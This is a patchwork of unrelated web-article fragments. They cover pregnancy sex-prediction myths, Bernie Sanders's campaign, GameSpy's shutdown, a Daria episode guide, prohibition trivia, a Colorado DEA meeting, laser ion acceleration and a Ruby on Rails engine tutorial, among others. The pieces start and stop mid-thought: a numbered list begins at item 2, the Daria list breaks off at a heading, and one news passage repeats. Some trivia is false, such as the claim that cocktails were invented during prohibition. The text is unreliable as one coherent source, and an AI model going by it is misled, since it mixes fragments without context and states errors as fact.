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Even better-established is the claim that women with long, difficult labors often deliver boys. A study of 8,000 births published in the British Medical Journal found that the average length of labor increased when delivering a boy—possibly because baby boys have enormous heads. It’s a late—and unpleasant—way to predict your baby’s gender, but at least it’s evidence-based.
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Educated Women Just Kinda Know (Maybe!)
This is a weird one, and it definitely requires some follow-up. In 1999, Johns Hopkins researchers gathered 100 pregnant women who did not know the genders of their babies and asked them to guess, and explain their reasoning. One of the strangest results was that, when highly educated women with more than twelve years of schooling simply guessed the gender, they were correct about 71 percent of the time—less educated women were correct in less than 50 percent of cases. Even more unsettling, the authors report that women who based their guess on a dream about having either a male or female child were correct more often than women who based their guesses on common myths, such as heart rate or the Draino test.
2. Lack of Postgraduate Opportunities
3. Financial Remuneration
4. Unrealistic Expectations
5. Long Working Hours
6. Prevailing Hopelessness
7. Lack of career counselling platforms
Sanders came out to Neil Young’s “Rockin’ In The Free World,” with the approval of the Canadian management and delivered a speech on the decline of America’s middle class and the redistribution of wealth in the United States.
Bernie Sanders, like his chief opponent Hillary Clinton, has spoken out against the income gap and how it favors the wealthy within the country. However, unlike Clinton, Bernie Sanders is not backed by the established with his top donors, mainly made up of workers union such as the Machinists/Aerospace Workers Union and the Teamsters. In stark contrast, Hillary Clinton has been backed by contributors such as Citigroup Inc and Goldman Sachs.
Sanders reflected away from the spotlight as the crowd in the university gym changed his name. Instead, the Vermont senator was quick to point out that the Bernie Sanders campaign was not about himself. “This campaign is not about me,” Sanders said.
“It is not about Hillary Clinton or any other candidate. This campaign is about you, your kids and your parents. It is about creating a political movement of millions of people who stand up and loudly proclaim that this nation belongs to all of us and not just a handful of billionaires.”
The polling is now reflecting how strong Sanders momentum is beginning to look. Hillary Clinton had been a strong favorite not just in the Democratic presidential primaries, but also among all candidates across both parties. With her name recognition many had tipped her to easily win the democratic nomination. In New Hampshire, Sanders is now 10 percent behind Clinton, a healthy lead for the former first lady but no longer a commanding one.
At this point, Bernie Sanders campaign is still looking like an out shot of being successful with the Vermont senator still trailing behind Clinton in Iowa but as the weeks and months quickly passes by his campaign may just spring the surprise of the election campaign.
According to rumor, the M8 Ace is to be a more affordable, more fashionable version of the M8 that uses plastic instead of the famed metal build in order to keep the cost down. It's thought that the M8 Ace will be a way for HTC to offer some of their key features - such as BoomSound - to those that don't wish to spend the extra cash on the M8. HTC has recently taken to Sina Weibo, teasing an upcoming device with the tagline "to win a war, you have to start one" and the people pictured in the promos look to be pretty fashionable. In fact, one of the promos reads "fashion does not mean luxury, but things over the [value]", which despite the clunky Chinese translation hints that the company is working on something designed to be fashionable. You can take a look at the promos in the gallery below.
BlackBerry's General manager of Mobilty Solutions, Alex Thurber, confirmed the news during the 100th episode of the UTB Blogcast. On the podcast, he stated that getting together all the partners required would be close to impossible. The Priv also wasn't very much of a success, so extended software support already seemed unlikely.
Powered by GameSpy is survived by dozens of classic games, from Battlefield 1942 to Titan Quest, deeply wounded by its passing. Even some modern games like Arma 3 are affected, and planning how best to proceed in this difficult time.
“Effective May 31, 2014, GameSpy will cease providing all hosted services for all games still using GameSpy,” says the official statement. “If you have any questions about how this impacts your favorite title please contact the game’s publisher for more information. Thanks for a great ride!”
Spun off from the GameSpy standalone server browser long ago, GameSpy Technologies’ tools have been behind everything from server browsers and getting-around-routers-ing in oodles of games you’ve known and loved, to Civilization V‘s mod hub. It has often been wonky. Yes, we grizzled veterans would rather have used The All-Seeing Eye to find servers and resented when games no longer offered that option, but what about those who had no idea what a server browser even was?
That’s the past, though. What about the present? GameSpy tech is in more games than we may realise, and its closure will cause problems. Bohemia Interactive are planning to switch to Steam for Arma 3 and Arma 2: Operation Arrowhead, but warn that they may be less capable of finding ways through certain network setups. Volition has said it’s “pretty unlikely” that it’ll update Saints Row 2, though this isn’t settled. Epic and Capcom are both planning alternate solutions, Polygon reports. The multiplayer fates of many recent and still-popular games, including Borderlands and Grand Theft Auto IV, are a mystery for now.
We’ll hopefully hear more about plans to escape GameSpy in the days and weeks to come, as we have in advance of the impending shutdown of Games for Windows – Live. While fans are likely to figure out and organise ways around the change for some games, many more will undoubtedly be left to die.
It’s hard to imagine that a Beavis And Butt-Head spin-off would yield one of TV’s most complex teen heroines, but that’s precisely what MTV delivered with Daria. The bespectacled teen made her first appearance as a wry observer to the moronic shenanigans of that titular duo, but creator Mike Judge had no involvement in the development of the series. Instead, MTV tapped his Beavis And Butt-Head staffers Glenn Eichler and Susie Lewis as executive producers, who produced this unaired pilot.
Although it was just a rough draft, that animated short introduced the whole Morgendorffer clan as well as some of the popular kids who would make life difficult and/or amusing for our protagonist. It also featured Daria’s best friend, Jane Lane, a laid-back artist with a killer angled bob and an older brother whom Daria would crush on for years. But there was no mention of the Burger World employees, a tradition that the series would maintain over its five-year run, though the premiere did reference the Morgendorffers’ hometown of Highland.
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Daria got a fresh start with the series premiere on March 3, 1997, which saw the lead character and her sister, Quinn, on their first day in a new high school. Quinn is accepted, even beckoned, on sight, while Daria keeps her distance. That aversion turns out to be mutual, as most of her fellow students don’t know what to make of the girl who seems to have sprung from a Cake song. Daria was clever and outspoken and not very interested in most of the usual high-school activities. Things weren’t much better among the faculty, who were clueless or bitter, and led by a corrupt administrator.
The acerbic teen preferred to quip from a vantage point with Jane, but she usually found herself roped into interacting with her classmates and teachers, who let her down most of the time. She wasn’t the only one who was being judged—the jocks, cheerleaders, nerds, and educators were all held up to Daria’s exacting standards, and usually found wanting. The illusion that the character is a misanthrope persists to this day, but while Daria was certainly principled and even downright judgmental, she was also invested in her life in Lawndale. She found her soul mate in Jane, a boyfriend in Tom (who was also Jane’s ex-boyfriend), and, over time, a confidante in her sister. And though she couldn’t be bothered to care about a homecoming game or dance, she did have real goals for her life. Daria was never in any danger of becoming a Pollyanna, obviously, but the best episodes saw her briefly letting down her defenses and getting involved in what was going on around her. When she failed to wriggle out of a family gathering or a school paintball outing, she found not only fodder for insults but also another reason to not give up on humanity just yet.
This isn’t to say that Daria didn’t have a reason to be distant. She was, after all, labeled a “brain,” an epithet that was intended to dismiss her. That was slightly less insulting than “The Misery Chick,” which is how she was briefly known in the season one finale. That moniker was inspired by her unsmiling visage just as much as her confounding wit. Her classmates couldn’t understand her words, so they put a lot of stock into her face, which didn’t look as “happy” as theirs. But, as Daria so astutely puts it near the episode’s end, that’s really just the burden of knowledge. Besides, everyone knows you can’t trust someone who smiles all the time.
Daria felt like an outsider to her family life as well, because she wouldn’t just fall in line alongside her perky sister or her workaholic mother. (Presumably everyone agreed early on that it was best she didn’t take after her father.) Helen and Jake certainly struggled to understand their daughter, but, as they revealed near series end, the challenge was ultimately rewarding. Again, there was also a lesson for Daria to learn, namely, that she should cut her family some slack, too.
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That was the key to the show’s success, that (mostly) everyone grew with Daria. Her commentary would have lost some of its sting if it had remained directed at her stunted peers and oblivious adults, which is why even Kevin the quarterback matured a bit. Jane and Daria’s relationship was far more complicated in the final season after Tom drove a wedge between them. And rather than maintain the detente on the home front, the writers fleshed out Quinn, who realized there was more to life than fashion and popularity and eventually found common ground with her sister. Naturally, Daria matured as well, as evinced by her moving, albeit brief, graduation speech.
Here are 10 episodes of Daria that prove “misanthrope” was just as limiting a label for the character as “brain.”
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“The Invitation” (season one, episode two)
Lawndale High’s class structure was laid out in the premiere, with all the usual divisions: the jocks, the overachievers, and of course, the outcasts. But “The Invitation” reveals just how delicate that balance is—even Daria budges a bit from her antisocial stance. Being smart (and kind) gets Daria invited to a party hosted by the head cheerleader, who’s worried that the lack of a Jacuzzi in her family’s “mock late Tudor-style” mansion will see her exiled by her peppy peers. Jane tags along and hits it off with someone she wouldn’t normally eat lunch with, but their relationship doesn’t go beyond the laundry room. The story unfolds like a John Hughes film, but at a much more efficient 22 minutes.
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“Road Worrier” (season one, episode 11)
Daria’s feelings for Trent, Jane’s older brother, were never really resolved on the show. She certainly had moments of clarity about how unsuited they were for each other, but the torch she carried for him was never fully extinguished at any point. Her crush is in full bloom here, prompting her to brave an outdoor concert and a road trip. They share some alone time and a few jokes as well as this great exchange. But there are no overtures, and it’s obvious that this charming slacker will never be able to keep up with her. The pair might have its ’shippers, but Daria was already more mature than Trent was, and his apathy would wear thin, especially once she started allowing herself to show how much she really does care about things.
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“That Was Then, This Is Dumb” (season two, episode five)
Helen and Jake Morgendorffer appeared to be the kind of upwardly mobile people Daria would ordinarily mock, but they were once just as idealistic as their daughter. Their hippie roots were hinted at in “Road Worrier,” whose original airing showed them freaking out around the house to some Jefferson Airplane while the girls are away. We get more of their flower-powered backstory when their old friends come to visit, bringing hacky sacks and their anticonsumerist beliefs with them. Helen might be a workaholic, but breaking the glass ceiling has long been one of her goals. And Jake, well—he’s either more or less tense than he used to be, depending on who you ask. It’s just too bad that Daria and Quinn are more interested in getting dirt on their parents, because they could really learn something about compromising. (But Daria substituting “Trekkies” for “hippies” is pure gold.)
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“Write Where It Hurts” (season two, episode 13)
Lawndale’s brightest (next to Jodie) is used to providing bemused commentary on the harebrained actions of her classmates, but her observations are put to the test when she must write some moral fiction about the people in her life. Given the opportunity to imagine life just as she’d like it, the idealistic teen struggles with the assignment, scrapping story ideas inspired by The Graduate and a comedy of manners. Things just get worse when she turns to her mother, who can’t keep her daughters straight in that moment. Daria’s mostly proud of their differences, but here she’s just made painfully aware of them. She lashes out at an oblivious Quinn in her writing, but after being nudged in the right direction, produces a surprisingly heartwarming tale. Everyone, including Quinn, gets a fair shake in this prospective future—this time, it’s Daria who’s learned a lesson.
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“Through A Lens Darkly” (season three, episode one)
The season-three premiere showed Daria being just as hard on herself as she is on everyone else. Although she didn’t seem to invest much time or thought in it, Daria’s appearance was definitely a part of her identity. She took pains to ensure she looked like someone who doesn’t care about fitting in. But all of that careful indifference crumbles when she tries on contact lenses for the first time. Daria’s taken aback by the overwhelmingly positive response, but she obviously also likes the way she looks without her trademark glasses, because she wears the contacts even when she’s not driving. Her vanity shocks her, because even though she’s also guilty of cultivating an image, she’s always felt it was the “right” one. Her specs return by the end of the episode, but not before she sees just how much she has in common with other teenage girls.
“Lane Miserables” (season three, episode eight)
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Daria and Jane lent each other much wry support at school, but “Lane Miserables” reveals just how the latter relied on her antisocial friend outside of the classroom. Jane and Trent’s unconventional home life was established early on, with the brother and sister mostly left to their own devices. So when all the Lanes return to the nest—including their errant photographer father—they’re not exactly thrilled to have so much company. The same fickleness runs through their older siblings’ lives, who have multiple marriages and affairs among them. Even though Jane and Trent have been mostly unsupervised, they’ve found some stability together and with Daria, whose home they both run to after they’ve been chased away by squawking parrots and role-playing.
“The F Word” (season four, episode five)
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It was Jane’s turn to have an identity crisis in this season four episode. The leggy artist wasn’t quite as rigid or principled as Daria, but she didn’t think she could lose her outré status so easily either. Jane’s doubts arise after a Mr. O’Neill assignment, one that tasks the students with setting themselves up for failure in order to learn not to fear it. Daria tries to multitask by completing the assignment and getting her sister grounded, while overachieving Jodie asks her equally driven parents for some time off. Brittany and Kevin are surprisingly successful at becoming the bizarro versions of themselves—one unpopular, the other, unathletic—but it’s Jane’s transformation that proves the most troublesome. She begins to believe a simple wardrobe change is all it takes for her to become “conventional,” especially after she’s invited to join the cheerleading squad. But just as Daria had placed too much value on the external, Jane soon realizes there’s nothing peppy—or ordinary—about her.
“I Loathe A Parade” (season four, episode six)
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Sparks fly between soft-spoken Tom and Daria as they spend an afternoon trying to reunite 1) a family at the Lawndale homecoming parade, and 2) Tom with Jane. The show already had enough angst that the Jane-Tom-Daria love triangle should have felt more contrived. But, to the writers’ credit, the feelings between Daria and Tom flourished rather organically, so it was hard to deny them their eventual pairing. Although they each viewed the other as the third wheel initially, their attempts to get along for Jane’s sake led to the realization of how much they had in common. Given their ages and similar personalities, it makes sense that Daria would fall for someone Jane likes, too. All three teens were bright and witty, but where Jane was prepared to shrug off most of life’s foibles, Tom and Daria couldn’t just let those things go by unnoticed.
“Lucky Strike” (season five, episode six)
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Being Quinn’s sister meant Daria was living with one of the popular kids, i.e., the enemy. Early on in the show, the fight was one-sided, with Quinn serving as the embodiment of all the things that teens should oppose instead of embrace. But the character developed over time and began to question the very ideals she once upheld. It’s that more conscientious, sympathetic Quinn who sticks up for Daria in “Lucky Strike,” and finally does away with one of the biggest misconceptions about Lawndale’s most notorious misfit. The teachers go on strike after Principal Li denies them a raise, and even though they’d rather stay out of the debacle, all of the central teens get roped into the action. Trent composes a brilliant strike anthem; Jane decorates posters; and Daria is left to teach Quinn’s English class after the Humbert Humbert-like substitute is rightly booted. Daria urges Quinn to think for herself and acknowledge that she’s not really like the rest of the Fashion Club. Quinn challenges herself to ace the exam as well as announce that Daria is her sister. The scene is made all the more poignant by the fact that Quinn is the one who disavowed Daria on their first day at the new school.
“Boxing Daria” (season five, episode 13)
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Workers made the discovery after they removed a headstone at the cemetery in Bushnell during routine maintenance, myFOXtampabay.com reported Saturday.
The veteran named Lawrence Davis Jr. died in 2004 and had no loved ones to make funeral arrangements for him. He was buried in a shallow grave with no casket.
The medical examiner sent Davis' remains in a cardboard box, and they were buried in the same box.
Veterans Affairs manager Maurice Roan said, "We usually bury the container they come in as long as it's sealed. We make every effort to make sure they get a dignified burial."
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He added that the department goes out of its way to show dignity and respect.
Florida National Cemetery holds a special service for all veterans who are buried without family present. Their names are read in a service that takes place four times a year. But giving it the power to purchase caskets for deceased veterans would take an Act of Congress.
Sen. Bill Nelson, D-Fla., said, "We're not going to treat the veterans of this country that way. We're going to ensure there is a dignified burial."
Nelson and Sen. Marco Rubio, R-Fla., both support a new bill called The Dignified Burial of Veterans Act of 2012. It would require the Department of Veterans Affairs to review its burial standards and would authorize it to purchase caskets or urns for all veterans in our national cemeteries.
The best-kept secret to world traveling, is that it’s best done aboard a sailboat. Sailing (cruising) around the world isn’t new, but it hasn’t exactly made it to the mainstream yet either. And maybe that’s a good thing. You can read about why I chose sailing and cruising below.
I was lucky in that I was introduced to the idea personally, via a close friend that has completed a sailing circumnavigation. So the thousands of questions one has when they hear about this idea, I was able to ask someone with far greater experience and get relevant and timely answers. The questions ranged from financial tactics to sailing tactics, and the answers were quick and based on experience. Honestly, if it wasn’t for this resource, I’m almost positive I wouldn’t have made the decision to undertake this – and you wouldn’t be reading The Nomad Trip. Bummer of a thought, right?
As I type this, I have very limited sailing experience and virtually no cruising experience. Although I did try a very short (by sailing standards) sailing adventure in the Bahamas, to make sure I could handle the disconnect and the extended boat life. Of course, a 9 day trip sailing around the Bahamas hardly prepares one to cross oceans or take 5 years off and circumnavigate – but it is a start. The next steps are a mix of learning how to sail and cruise, getting my financial life together, selling a ton of gear, and purchasing the requisite boat and sailing equipment.
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I had to make a decision on how I wanted to travel the world. There were many choices, but for me – there really was only one. Read why I chose sailing here…
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1. What's Behind the Green Door? During the dark days of prohibition, if you saw a green door on a business, chances are there was a good time hiding behind it. For many speakeasies, the only advertisement they needed to attract thirsty patrons and hide from police was a green door. A green door was a wink and a nod that booze lied behind it. Some popular speakeasies, like Chicago's Green Door Tavern are still in operation.
2. Goodbye Jail Time! Many towns were convinced that alcohol was the root of all their crime, so when prohibition went into effect, many tried selling their jails. Thanks to the mafia, this time period was actually a boon for crime.
3. The No-Booze Bible During prohibition religious scholars were actually hired by some temperance leaders to rewrite the Bible by removing all the references to alcohol.
4. Does the Punishment Fit the Crime? Some seriously harsh punishments were suggested for those who violated the 18th amendment, including branding, tattooing, being forbidden to marry and public shaming. Wisely, law enforcement just stuck with jail time and fines.
5. Bathtub Gin It's a common misconception that the term "bathtub gin" comes from batches being brewed inside an actual tub. However, the term actually comes from the large bottles the elixir was made in. Combining grain alcohol, juniper berries and other flavorings with water, a standard faucet was not tall enough to fit the bottle, so bootleggers would use the bathtub spigot to water down their hooch.
6. The Original Booze Cruise Prohibition helped create the first booze cruise. Many port cities offered a "Cruise to Nowhere" in which a boat would take passengers out to international waters where they could drink without repercussion and return several hours later.
7. Capone the Big Winner Since he wasn't paying income tax it's hard to get an exact number, but many believe Al Capone and his mob-related bootlegging business made more money than nearly anyone else at the time, an estimated $60 million-per-year! (That would be roughly $630 million today)
8. Technically, it Wasn't Illegal to Drink Alcohol If you like to read between the lines, it was only illegal to manufacture, sell and ship alcohol. If you could find a way around those (such as for religious or medicinal use) the buzz kept rolling.
9. The Blind Pig One quasi-legal way around the law was opening a "blind pig." A blind pig was a dive bar that had a floor show or just an animal on display, which is what you were supposed to be paying an entry fee for. However, each entry fee came with a complimentary drink.
10. Don't Forget About Beer While bootlegged liquor and moonshine get a lot of attention, the homebrew revolution really started during prohibition. Many people simply made their own beer at home, since the ingredients were all legal and only took a few days to produce.
11. The Birth of the Cocktail Cocktails were invented during prohibition as a way to mask the awful flavor of homemade hooch and bathtub gin.
12. Prohibition was Bad for the Economy According to History.com, prohibition was awful for the economy. Thousands of jobs were instantly lost in distilleries and breweries, but restaurants also failed when they couldn't sell alcohol. Even theaters were said to hit hard time due to the ban. In addition, the US government lost out on $11 billion worth of excise taxes, too.
13. Prohibition was Deadly History.com also tells us that about 1,000 Americans per year died during prohibition due to the consumption of sub-standard or tainted liquor.
14. "What Took You So Long?" That's what temperance loving people in Maine wondered when the 18th amendment was passed in 1920. They were actually the first state to ban alcohol way back in 1846.
15. At First, it was a Success After prohibition became the law of the land, it actually looked like a great success. Reports state a 30% drop in alcohol consumption (but really, shouldn't it have been closer to 100%?) and a steep drop in arrests. The good times, however, wouldn't last. As any speakeasy patron or blind pig lover would tell you. The American liver began craving cognac and more until the country hit its boiling point in the 1930s.
16. Political Motivations While avoiding drunkeness and crime were said to be main factors in enacting the 18th amendment, the motivations were also political. According to Wikipedia: Saloons frequented by immigrants in these cities were often frequented by politicians who wanted to "buy" the immigrants' votes in exchange for favors such as job offers, legal assistance, financial help, and trade union memberships. Thus, saloons were seen as a breeding ground for political corruption However, toward the tail end of prohibition, the amount of political corruption and graft present in America made those pre-1920 days seem downright innocent.
17. Another Huge Loophole Another odd prohibition loophole was that it was perfectly legal to drink at home. This meant many wealthy families purchased large stockpiles of alcohol prior to the ratification of the 18th amendment and were able to freely imbibe in their living room. In fact, President Warren G. Harding moved his entire inventory of alcohol to the White House prior to prohibition.
18. Welcome, "The Wets" By 1930, 10 years after prohibition's introduction, it was estimated that over 80% of congress drank. It was clear the nation was tiring of prohibition. Those on the side of alcohol were called "wets" and they were gaining momentum.
19. Roosevelt to the Rescue Franklin Roosevelt was elected president in 1932. One of his major promises was the repeal the 18th amendment and bring booze back to America.
20. Goodbye Prohibition On December 5, 1933 Roosevelt proved good on his word. The 21st amendment repealed the 18th and libations were legal once again.
A wildfire burned through vegetation in Saratoga Monday afternoon, sending a dense cloud of smoke over the city. A wildfire burned through vegetation in Saratoga Monday afternoon, sending a dense cloud of smoke over the city. Photo: Courtesy KTVU Photo: Courtesy KTVU Image 1 of / 40 Caption Close Helicopter fighting Eden Fire forced to land due to drone 1 / 40 Back to Gallery
A helicopter fighting a blaze burning in Saratoga near the Mountain Winery was forced to ground when a drone entered the area Monday.
"The helicopter had to be waived off due to fear of a collision and then subsequently grounded," said Ryan Cronin, the chief fire investigator with the Santa Clara County Fire Department.
Cronin added that the department confiscated the drone, and the incident is under investigation.
The Eden Fire was first reported at 3:10 p.m. Monday and has burned a total of 10 acres. It's currently 75 percent contained.
"It really stopped last night at 10 acres," Cronin said. "It's not spreading. It's not getting any bigger, but it's not put out entirely."
Moving across the steep slopes in the grassy hills behind downtown Saratoga, the fire created a dramatic scene — the sort that attracts onlookers who take photos and video.
Cronin believes the drone flying Monday was capturing video footage, and says that in recent years these devices have become a problem for fire fighters.
Speaking to BBC Radio 1, Eavis said she was “not sure” about the status of Foos’ Friday night slot. Frontman Dave Grohl broke his leg after falling off stage in Sweden. He managed to finish that show in Gothenburg, but the Foos then went on to cancel world tour dates.
“t was an amazing moment, when he carried on playing,” Eavis said. “I’m not sure what the outcome’s gonna be yet.”
Contingency plans are in place, if Foos end up pulling out of their Glastonbury slot. They’ve yet to make any official statement on both Glasto and their scheduled appearance at Wembley Stadium.
Four months to go before the industry’s biggest game of the year arrives and a lot of fans are now going in full analysis how GTA V will actually appear inside the game.
As expected, GTAF has made one of the most realistic depiction how V’s open-world map will look like. Now, one of its users managed to design a realistic impression on how the game’s HUD will appear.
Basically, heads-up display are set of indicators most games provide for players. It’s usually floating around on the screen to give you a quick information about your character’s health for example, current score, map, etc. Likewise, this could be turned-off depending on players’ preferences.
As for GTA V, while Rockstar Games haven’t yet provided any screenshot for this, early previews provided a lot of information how its HUD will appear. Then again, a picture is worth a thousand words so here are some mock-ups. (Click here to see them in full resolution).
Those designs are made by exmpletree from GTAForums. From the first image, we can see a lot of things like the center circle which shows how character-switching might appear. Character’s statistics are also placed above and the current location of your character from the right header. Most importantly, there’s a mini-map at the lower-left portion which appears to be in a landscape orientation as seen from a GPS.
The second and third picture provide the same details and for the fourth one, the guy made a transition UI from a screenshot on Google Earth.
So why this particular design? From this preview, GTA V’s HUD is revealed from the following quotes.
“The character selection wheel is split into four triangles: Franklin, Trevor, Michael, and your multiplayer character” “The transition between the three protagonists is smooth; the camera zooms out to a Google Earth view, the screen fills with static, the camera moves across the city and zooms back into your chosen character” “Each character is rated in a series of skill categories: Stamina, Shooting, Strength, Stealth, Flying, Driving, Mechanic, Lung Capacity.”
While these are only mock-ups, the community is already giving favorable response to the original poster. Likewise, expect Grand Theft Auto V to arrive on PS3 & Xbox 360 on September 17.
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The Trump administration delegation also reportedly met earlier this week with the staff of Colorado Gov. John Hickenlooper, but the governor himself did not participate in the talks.
Colorado Springs Mayor John Suthers told KKTV that “most of the discussion centered around the huge black market that exists for marijuana in Colorado.”
A meeting Wednesday in Colorado Springs was supposed to be secret, but local news station KKTV staked it out and filmed attendees coming and going. The participants reportedly included two DEA officials and representatives from the Justice Department, the Office of National Drug Control Policy, and the office of Vice President Mike Pence. The feds met with the mayor of Colorado Springs, the town’s chief of police, a local doctor, and a school district official.
This story has been updated with comment from the Office of National Drug Control Policy. Officials from the DEA and the White House have quietly been holding meetings in Colorado to discuss the marijuana black market, heightening concerns that federal authorities could be planning a crackdown in states with legal weed.
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This story has been updated with comment from the Office of National Drug Control Policy. Officials from the DEA and the White House have quietly been holding meetings in Colorado to discuss the marijuana black market, heightening concerns that federal authorities could be planning a crackdown in states with legal weed.
A meeting Wednesday in Colorado Springs was supposed to be secret, but local news station KKTV staked it out and filmed attendees coming and going. The participants reportedly included two DEA officials and representatives from the Justice Department, the Office of National Drug Control Policy, and the office of Vice President Mike Pence. The feds met with the mayor of Colorado Springs, the town’s chief of police, a local doctor, and a school district official.
Colorado Springs Mayor John Suthers told KKTV that “most of the discussion centered around the huge black market that exists for marijuana in Colorado.”
The Trump administration delegation also reportedly met earlier this week with the staff of Colorado Gov. John Hickenlooper, but the governor himself did not participate in the talks.
Located about 70 miles south of Denver, Colorado Springs has been at the center of the debate about how to handle so-called “diversion” of marijuana from Colorado to other states where the drug remains illegal. In March, state authorities indicted 16 people accused of smuggling thousands of pounds of weed from Colorado Springs, Denver, and other towns to Illinois, Arkansas, Minnesota, and Missouri.
Suthers told KKTV that the feds talked to local law enforcement about “what they’re finding in houses — what they’re finding, and who is doing it, and where these people are coming from.”
President Donald Trump said on the campaign trail that he thinks marijuana “should be a state issue,” but Attorney General Jeff Sessions is an outspoken opponent of legal weed. Sessions created a special task force to review the Justice Department’s policy on marijuana enforcement; the recommendations are due July 27.
The Office of National Drug Control Policy said the federal officials visited at Hickenlooper’s invitation and had “open discussions” about “Colorado’s black drug market, the state’s regulatory and enforcement framework, and drug use and other trends in the state.”
A spokesperson at DEA headquarters in Washington, D.C., wasn’t aware of the meeting until VICE News asked about it Thursday, but said it likely involved state-level officials from the federal agency. An agent from the DEA’s Denver field office declined to discuss the meeting or say who attended.
Eight states and Washington, DC, now allow recreational marijuana sales to adults, and the DEA and other federal law enforcement agencies have mostly been hands-off. But the Cole Memo, which lays out the Justice Department’s stance on legal weed, says preventing “diversion of marijuana outside of the regulated system and to other states” is a top priority.
After the big black market weed bust in March, a DEA spokesperson accused illicit growers and dealers of operating under the guise of legalization. “They get appropriate paperwork, but they are going to grow as much as they can and all of the excess is going out of state,” the DEA’s James Gothe told the Denver Post.
A report published last year by the Colorado Information Analysis Center found that from January 2014 to August 2015, police officials around the country reported 169 cases where they seized marijuana or hash that came from Colorado. Another report from the Rocky Mountain High Intensity Drug Trafficking Area, a federal anti-drug agency, said the Colorado State Patrol made 394 seizures in 2015 of Colorado pot that was destined for 36 states.
On the other hand, as VICE News has reported previously, there’s ample evidence that state-level legalization has cut into the profits of Mexican cartels that used to dominate the marijuana trade, and largely put local black market dealers out of business. Colorado uses marijuana tax revenue to fund schools and combat the opioid crisis.
Jason Warf, executive director for the Southern Colorado Cannabis Council, suggested the Colorado Springs meeting was about how local authorities can use federal drug laws to confiscate cash and property from marijuana dealers. Earlier this week, Sessions rolled back Obama-era restrictions on the use of civil asset forfeiture. Under the new policy, local cops can partner with the DEA to use forfeiture in drug cases even when it’s against state law.
“It is now far more lucrative for a municipality to work with the federal government on drug arrests, rather than prosecuting individuals under state law,” Warf said in a statement, according to KKTV. “Under federal seizure laws, they receive a much larger percentage of assets seized. We have received word and believe that these meetings are about circumventing state law because of this revenue difference.”
The interaction of high-intensity laser light with solid targets could someday serve as the basis of table-top sources of high-energy ions for medical applications. An international team led by physicists of the LMU affiliated with the Munich-Centre for Advanced Photonics (MAP), a Cluster of Excellence based in Munich, and in cooperation with scientists from the Max Planck Institute of Quantum Optics, has taken another step towards this goal. They have done so by boosting the efficiency of a technique that uses extremely intense pulses of laser light to eject packets of high-energy ions from diamond-like carbon foils.
In their experiment, the researchers coated one side of the foil with carbon nanotubes. Upon laser irradiation, the layer acts like a lens to focus and concentrate the light energy on the foil, which results in the production of much more energetic ion beams. This makes experiments with high-energy carbon ions on cells feasible for the first time, and brings light-driven generation of ionizing radiation closer to practical application.
A laser beam (red, coming from the left) shines on an ultrathin diamond-like carbon foil coated on one side with a layer of nanotubes. The impact of the laser beam ejects high-energy ions from the uncoated side of the carbon foil. The additional focus provided by the nanotube coating enhances the efficiency of this laser-driven particle acceleration. (Illustration: Isabella Cortrie)
Light is an enormously powerful and versatile source of energy. When high-intensity pulses of laser light are fired at ultrathin diamond-like carbon (DLC) foils, they punch through the foil, stripping electrons from the atoms. The negatively charged electron cloud then drags a stream of positively carbon ions along, accelerating them to speeds of up to 10% of the speed of light. The bursts of carbon ions produced by the radiation pressure exerted on the foil by ultrashort laser pulses could be used to treat tumors, provided the ions pack sufficient energy.
At present, the only machines capable of producing such high-energy ion beams are large and highly expensive particle accelerators. Laser-based technologies are as yet unable to generate beams of comparable quality. However, light-driven approaches offer a possible route to much more compact and far less costly ion sources for medical applications in the future.
To reach this goal, laser physicists need to increase pulse intensities, and find ways to ensure that much more of the incident light energy is delivered in concentrated form to the carbon foil target. MAP physicists have now taken a significant step toward the latter objective. Each laser pulse fired at the target lasts for 50 femtoseconds (a femtosecond equals a millionth of a billionth of a second), and consists of about 20 oscillations of the optical field. This means that not all of the electromagnetic energy associated with the optical pulse reaches the target at the same time. It arrives in dispersed form, so that the radiation pressure acting on the target atoms rises gradually to a maximum, then drops off again. Since only the peak energy is sufficiently high to rip ions from the foil, the process is not terribly efficient.
Ultrathin foils of diamond-like carbon were first used in studies of radiation pressure acceleration five years ago. For the latest experiments, technicians at the MAP Service Centre used vapor deposition to coat the front of each foil with carbon nanotubes. The nanotubes come to lie on the surface in a higgledy-piggledy fashion, like blades of grass in a haystack. But the plasma formed when the laser pulse impinges on the nanotube coating effectively acts like a lens. As a result, the power of the incident pulse is concentrated sufficiently to permit immediate ionization of the underlying carbon foil.
In addition, the nanotube coating focuses the light pulse onto a very small area of the target. These two effects together enhance the energy of the carbon ions ejected from the foil to around 200 MeV (mega electron volts) – significantly higher than was previously attainable. In a collaborative effort involving researchers from Germany, the UK, Spain and China, the experiments were carried out with the ASTRA-Gemini laser at the Rutherford Appleton Laboratory in Didcot (UK), as part of the Laserlab Europe Program.
Ruby on Rails Engines are miniature applications whose purpose is to supplement a larger Ruby on Rails application. If functionality can exist independent from a main application, an Engine can provide a wonderful degree of encapsulation.
Recently, I created the and “gemified” the Passages Ruby on Rails Engine to help alleviate some routing frustration. This gem will be the be used as the example for demonstrating what goes into creating a Ruby on Rails Engine.
Revving Up
There are two ways to start building an Engine. One option is to use the built in generators to create directories and dummy classes. These generators behave in the same way as standard Rails generators.
To generate an Engine in this way, use the plugins built in generator:
$ rails plugin new passages --mountable
Note: Engines and Plugins are not exactly the same in the Ruby on Rails world but the --mountable flag tells the plugin generator to generate a full Engine.
The other approach is to simply create the needed directories and files by hand. This is was the way the Passages Engine was built, resulting in the following directory structure:
|-app |--controllers |---passages |----<controller directories> |--views |---passages |----<views directories> |-config |--routes.rb |--initializers |---assets.rb |-lib |--passages |---engine.rb
Some directories that the rails generator would have added are missing (i.e. models , helpers , mailers ). These directories might be necessary for some projects, but the Passages Engine did not have use for them.
The file at the heart of it all is engine.rb . This file is responsible for defining the engine and will also be utilized later to add optional enhancements an Engine can take advantage of:
module Passages class Engine < :: Rails :: Engine isolate_namespace ( Passages ) end end
An interesting line in this file is the isolate_namespace method call. This method helps ensure encapsulation for the Engine by isolating its controllers, helpers, views, routes, and any other shared resources between the main application and the Engine.
With isolation, an Engine does not need to worry about conflicting class or module names in the main application. Additionally, an isolated Engine will set its own name according to its namespace, accessible later via Passages::Engine.engine_name .
Since the Passages Engine is also a gem, it has a file named passages.rb in its lib directory:
module Passages end require 'passages/engine' require 'controllers/passages/routes_controller'
This file is responsible for defining the Passages module and requiring the engine. It is the entry point for this gem’s logic.
Encapsulate Everywhere
The overarching theme of designing a good Ruby on Rails Engine is encapsulation. An application should not be negatively affected by its underlying Engines, they should simply support and bring new functionality the application.
